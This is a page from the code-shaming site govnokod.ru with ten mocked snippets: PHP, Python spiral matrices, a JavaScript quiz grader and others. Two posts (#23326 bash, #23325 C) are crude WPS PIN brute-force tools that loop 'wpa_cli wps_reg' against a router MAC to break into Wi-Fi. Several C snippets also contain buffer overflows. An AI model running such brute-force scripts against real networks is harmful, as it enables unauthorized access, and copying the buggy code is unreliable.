1. PHP / Говнокод #23333

    −2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    public static function getItemGrid($settings, $site_width, $columns) {
            $products_per_row_xs = Journal2Utils::getProperty($settings, 'mobile.value', 1);
            $products_per_row_sm = Journal2Utils::getProperty($settings, 'mobile1.value', 2);
            if ($columns == 1) {
                $products_per_row_md = Journal2Utils::getProperty($settings, 'tablet1.value', 2);
            } else if ($columns == 2) {
                $products_per_row_md = Journal2Utils::getProperty($settings, 'tablet2.value', 1);
            } else {
                $products_per_row_md = Journal2Utils::getProperty($settings, 'tablet.value', 3);
            }
            if ($columns == 1) {
                $products_per_row_lg = Journal2Utils::getProperty($settings, 'desktop1.value', 4);
            } else if ($columns == 2) {
                $products_per_row_lg = Journal2Utils::getProperty($settings, 'desktop2.value', 3);
            } else {
                $products_per_row_lg = Journal2Utils::getProperty($settings, 'desktop.value', 5);
            }
            if ($columns == 1) {
                $products_per_row_xl = Journal2Utils::getProperty($settings, 'large_desktop1.value', 4);
            } else if ($columns == 2) {
                $products_per_row_xl = Journal2Utils::getProperty($settings, 'large_desktop2.value', 3);
            } else {
                $products_per_row_xl = Journal2Utils::getProperty($settings, 'large_desktop.value', 5);
            }
            return array(
                'xs'    => $products_per_row_xs,
                'sm'    => $products_per_row_sm,
                'md'    => $products_per_row_md,
                'lg'    => $products_per_row_lg,
                'xl'    => $site_width > 1200 ? $products_per_row_xl : $products_per_row_lg
            );
        }

    Метод из шаблона Journal в opencart

    den_rad, 06 Сентября 2017

    Комментарии (1)
  2. Python / Говнокод #23332

    −7

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    import re
    
    def matrix():
        square = [[0 for x in range(7)] for x in range(7)]
        directions = ((1,0), (0,1), (-1,0), (0,-1))
        x, y, d = -1, 0, 0
        
        for i in range(49):
            while True:
                x1, y1 = x + directions[d][0], y + directions[d][1]
                
                if x1 >= 0 and x1 < 7 and y1 >= 0 and y1 < 7 and square[y1][x1] == 0:
                    x, y = x1, y1
                    break
                
                d = (d + 1) % 4
            
            square[y][x] = re.sub(r'\d', lambda n: ' ' * int(n.group()), '9de9mb8nv5yo4aol1rm')[i]
        
        return square
    
    print('\n'.join([''.join(line) for line in matrix()]).strip())

    по мативам http://govnokod.ru/23329#comment389918

    HACTEHbKA, 06 Сентября 2017

    Комментарии (16)
  3. JavaScript / Говнокод #23330

    +3

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    function getResult ()
      {
      var o1,o2,o3,o4,o5,o6,o7,o8,o9;
      var o10,o11,o12,o13,o14,o15,o16,o17,o18;
      var o19,o20,o21,o22,o23,o24,o25,o26,o27;
      var o28,o29,o30,o31,o32,o33,o34,o35,o36,o37;
      
     if (R1[2].checked)o1="Правильно"; else o1="Неправильно";
     if (R2[0].checked)o2="Правильно"; else o2="Неправильно";
     if (R3[2].checked)o3="Правильно"; else o3="Неправильно";
     if (R4[0].checked)o4="Правильно"; else o4="Неправильно";
     if (R5[1].checked)o5="Правильно"; else o5="Неправильно";
     if (R6[1].checked)o6="Правильно"; else o6="Неправильно";
     if (R7[2].checked)o7="Правильно"; else o7="Неправильно";
     if (R8[3].checked)o9="Правильно"; else o9="Неправильно";
     if (R9[2].checked)o10="Правильно"; else o10="Неправильно";
     if (R10[2].checked)o11="Правильно"; else o11="Неправильно";
     if (R11[0].checked)o12="Правильно"; else o12="Неправильно";
     if (R12[2].checked)o13="Правильно"; else o13="Неправильно";
     if (R13[2].checked)o14="Правильно"; else o14="Неправильно";
     if (R14[0].checked)o15="Правильно"; else o15="Неправильно";
     if (R15[3].checked)o16="Правильно"; else o16="Неправильно";
     if (R16[3].checked)o17="Правильно"; else o17="Неправильно";
     if (R17[0].checked)o18="Правильно"; else o18="Неправильно";
     if (R18[1].checked)o19="Правильно"; else o19="Неправильно";
     if (R19[2].checked)o20="Правильно"; else o20="Неправильно";
     if (R20[2].checked)o21="Правильно"; else o21="Неправильно";
     if (R21[4].checked)o22="Правильно"; else o22="Неправильно";
     if (R22[2].checked)o23="Правильно"; else o23="Неправильно";
     if (R23[3].checked)o24="Правильно"; else o24="Неправильно";
     if (R24[2].checked)o25="Правильно"; else o25="Неправильно";
     if (R25[0].checked)o27="Правильно"; else o27="Неправильно";
     if (R26[1].checked)o29="Правильно"; else o29="Неправильно";
     if (R27[0].checked)o30="Правильно"; else o30="Неправильно";
     if (R28[1].checked)o32="Правильно"; else o32="Неправильно";
     if (R29[1].checked)o33="Правильно"; else o33="Неправильно";
     if (R30[2].checked)o35="Правильно"; else o35="Неправильно";
     if (R31[1].checked)o36="Правильно"; else o36="Неправильно";
     
     if (C3.checked&&C5.checked&&C6.checked)o8="Правильно"; else o8="Неправильно";
     if (C8.checked&&C9.checked)o26="Правильно"; else o26="Неправильно";
     if (C11.checked&&C12.checked&&C14.checked)o28="Правильно"; else o28="Неправильно"; 
     if (C16.checked&&C18.checked&&C19.checked)o31="Правильно"; else o31="Неправильно";
     if (C20.checked&&C21.checked&&C22.checked)o34="Правильно"; else o34="Неправильно";
     if (C25.checked&&C27.checked&&C28.checked&&C29.checked)o37="Правильно"; else o37="Неправильно";
     
     alert(  '   1 - '+o1+  '      2 - '+o2+  '      3 - '+o3+   
           '\n   4 - '+o4+  '      5 - '+o5+  '      6 - '+o6+ 
           '\n   7 - '+o7+  '      8 - '+o8+  '      9 - '+o9+ 
           '\n 10 - '+o10+ '    11 - '+o11+ '     12 - '+o12+
           '\n 13 - '+o13+ '    14 - '+o14+ '     15 - '+o15+ 
           '\n 16 - '+o16+ '    17 - '+o17+ '     18 - '+o18+ 
           '\n 19 - '+o19+ '    20 - '+o20+ '     21 - '+o21+ 
           '\n 22 - '+o22+ '    23 - '+o23+ '     24 - '+o24+
           '\n 25 - '+o25+ '    26 - '+o26+ '     27 - '+o27+ 
           '\n 28 - '+o28+ '    29 - '+o29+ '     30 - '+o30+
           '\n 31 - '+o31+ '    32 - '+o32+ '     33 - '+o33+ 
           '\n 34 - '+o34+ '    35 - '+o35+ '     36 - '+o36+
           '\n 37 - '+o37); 
      }

    онлайн-тестирование, взято с сайта моей кафедры

    pereslavtsev, 05 Сентября 2017

    Комментарии (9)
  4. Python / Говнокод #23329

    −1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    n = int(input())
    matrix = [[0] * n for i in range(n)]
    num = 1
    end = n
    start = 0
    while num != num**2:
        for i in range(start, end):
            if num == num**2:
                break
            for j in range(start, end):
                if num == num**2:
                    break
                matrix[i][j] = num
                num += 1
                if j + 1 == end:
                    for k in range(start+1, end):
                        if num == num**2:
                            break
                        matrix[k][j] = num
                        num += 1
                        if k + 1 == end:
                            for l in range(-end+1, -start):
                                if num == num**2:
                                    break
                                matrix[k][l] = num
                                num += 1
                                if l + 1 == start:
                                    for m in range(-end+1, -start-1):
                                        if num == num**2:
                                            break
                                        matrix[m][l] = num
                                        num += 1
            end -= 1
            start += 1
    for i in range(n):
        for j in range(n):
            print(matrix[i][j], end='\t')
        print()

    у меня на выходе только нули, не понимаю где нагадил,вот условие:

    Выведите таблицу размером n×n, заполненную числами от 1 до n**2 по спирали, выходящей из левого верхнего угла и закрученной по часовой стрелке, как показано в примере (здесь n=5):
    Sample Input:
    5
    Sample Output:
    1 2 3 4 5
    16 17 18 19 6
    15 24 25 20 7
    14 23 22 21 8
    13 12 11 10 9

    reznik, 05 Сентября 2017

    Комментарии (19)
  5. Python / Говнокод #23328

    −9

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    class SimilarCardIsShown(ZenAndroidTest):
        def test_similar_show(self):
            cards = self.swipe_and_find_elements(By.ID, "com.yandex.zensample.app:id/card_title", 7)
            for card in cards:
                card.click()
                self.driver.back()
            assert self.driver.find_element_by_id("com.yandex.zensample.app:id/card_helper_sim_head"), "Нет похожих"

    хуй

    storvus, 05 Сентября 2017

    Комментарии (0)
  6. Си / Говнокод #23327

    −2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    #include <stdio.h>
    
    int main(int argc, char *argv[])
    {
      FILE *f = fopen(argv[1], "r");
      if(f == NULL)
      {
        perror("open");
        return 1;
      }
      char str[8];
      while( fgets(str, 9, f) != NULL)
      {
        if(str[0] == '\n') continue;
        printf("%s", str);
      }
      fclose(f);
      
      return 0;
    }

    вот так на си тяжко работать со строками

    MasterGovnokodinga, 03 Сентября 2017

    Комментарии (6)
  7. bash / Говнокод #23326

    −1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    #!/bin/bash
    
    mac=$1
    file=$2
    
    count=$(cat $file|wc -l)
    declare -i i=0
    while ((i<count)); do
      let tmp=i+1
      pins[$i]=$(cat $file|head -$tmp|tail -1)
      ((i++))
    done
    
    ((i=0))
    while ((i<count)); do
      echo "$i/$count"
      echo "> wpa_cli wps_reg $mac ${pins[$i]}"
    	wpa_cli wps_reg $mac ${pins[$i]}
      echo
    	sleep 3
      iwconfig &>tmp
      if grep -q $mac tmp; then
        echo "Подключено! PIN: ${pins[$i]}"
        rm tmp
        exit 0
      fi
    	((i++))
    done
    rm tmp

    Это типа хактул
    Похож на школопедища творение

    MasterGovnokodinga, 03 Сентября 2017

    Комментарии (1)
  8. Си / Говнокод #23325

    −1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    #include <stdio.h>
    #include <stdlib.h>
    
    char *pins[1][1777];
    
    int load(char *name)
    {
    	FILE *f;
    	f = fopen(name, "r");
    	if(f == NULL) return -1;
    	char str[8];
    	char *tmp;
    	int i=0;
    	while( fgets(str, 9, f) != NULL)
    	{
    		if(str[0] == '\n') continue;
    		tmp = str;
    		pins[0][i] = tmp;
    		i++;
    	}
    	return 0;
    }
    
    int main(int argc, char *argv[])
    {
    	if(argc != 3) { printf("Usage: %s [file] [mac]\n", argv[0]); return 1; }
    	if(load(argv[1]) == -1) {
    		printf("Error load file\n"); return 1;
    	}
    	
    	char cmd[100];
    	for(int i=0; i<1777; i++)
    	{
    		sprintf(cmd, "wpa_cli wps_reg %s %s", argv[2], pins[0][i]);
    		printf("%s\n", cmd);
    	}
    	
    	return 0;
    }

    Эта программа хачит вайфай по впс и пиздец какая легкая
    Но я ебал её за то что она не тормозит когда пин подошел!

    MasterGovnokodinga, 03 Сентября 2017

    Комментарии (0)
  9. Java / Говнокод #23324

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    import java.io.*;
    
    class devnull
    {
      public static void main(String[] args)
      {
        if( args.length != 2 ) {
          println("Использование: java devnull [файл] [байты]");
          return;
        }
        int bytes;
        try {
          bytes = Integer.parseInt(args[1]);
        }
        catch(NumberFormatException e) {
          println("Ошибка: "+e);
          return;
        }
        if(bytes > 1000000000) {
          println("Размер слишком большой!");
          return;
        }
        else if(bytes < 1) {
          println("Размер меньше единицы!");
          return;
        }
      
        try(FileInputStream f = new FileInputStream("/dev/null");
            FileOutputStream fout = new FileOutputStream(args[0]) ) {
          int c;
          for(int i=0; i<bytes; i++)
          {
            println("Пишу байт "+i+"...");
            c = f.read();
            fout.write(c);
          }
        }
        catch(IOException e) {
          println("Ошибка: "+e);
        }
        
        println(bytes+" байт успешно записаны в файл!");
      }
      
      static void print(String text)
      {
        System.out.print(text);
      }
      
      static void println(String text)
      {
        System.out.println(text);
      }
    }

    Короче я ебал как медленно работает эта программа!
    Бесполезная программа короче может кому пригодится я выложу нахуй))

    MasterGovnokodinga, 03 Сентября 2017

    Комментарии (2)
  10. Python / Говнокод #23323

    +3

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    N = int(input())
    S = []
    for i in range(N):
        S.append(list(map(float, input().split())))
    for i in range(len(S)):
        S[i][0], S[i][1] = S[i][1], S[i][0]
    S.sort()
    for x in range(N):
        for i in range(N-1):
            if S[i][0] == S[i+1][0]:
                if S[i][1] < S[i+1][1]:
                    S[i][1], S[i+1][1] = S[i+1][1], S[i][1]
    for i in range(N):
    print((str(round(S[i][1], 2))[:str(round(S[i][1], 2)).index('.')]+(str(round(S[i][1], 2))+'00000000')[str(round(S[i][1], 2)).index('.'):str(round(S[i][1], 2)).index('.')+3]),(str(round(S[i][0], 3))[:str(round(S[i][0], 3)).index('.')]+(str(round(S[i][0], 3))+'00000000')[str(round(S[i][0], 3)).index('.'):str(round(S[i][0], 3)).index('.')+4]))

    Нужно было дописать эту прогу во что бы то ни стало...

    Caladrius, 03 Сентября 2017

    Комментарии (5)